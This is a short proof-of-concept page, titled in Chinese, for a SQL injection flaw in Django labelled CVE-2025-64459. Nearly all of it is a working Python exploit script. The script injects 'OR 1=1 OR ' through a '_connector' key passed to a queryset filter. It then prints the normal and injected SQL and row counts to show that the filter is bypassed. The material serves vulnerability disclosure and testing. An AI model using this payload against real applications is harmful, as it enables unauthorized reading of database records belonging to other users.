CVE-2025-64459｜Django SQL注入漏洞（POC）

import django
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'poc_project.settings')
django.setup()
from customers.models import Customer # noqa: E402
from django.db import connection # noqa: E402
defrun() -> None:
    print('--- Running connector injection PoC ---')
    baseline_qs = Customer.objects.filter(name='alice', email='alice@example.com')
    baseline_count = baseline_qs.count()
    print('NORMAL count:', baseline_count)
    print('NORMAL SQL:', str(baseline_qs.query))
    payload = {
       'name': 'alice',
       'email': 'alice@example.com',
       '_connector': 'OR 1=1 OR '
    }
    print('Using payload:', payload)
    injected_qs = Customer.objects.filter(**payload)
    injected_count = injected_qs.count()
    injected_sql = str(injected_qs.query)
    print('INJECTED count:', injected_count)
    print('INJECTED SQL:', injected_sql)
    if connection.queries:
        print('connection.queries (last):', connection.queries[-1])
    else:
        print('connection.queries empty; ensure DEBUG=True for logging')
    altered = injected_count != baseline_count
    print('Result set altered:', altered)
if __name__ == '__main__':
    run()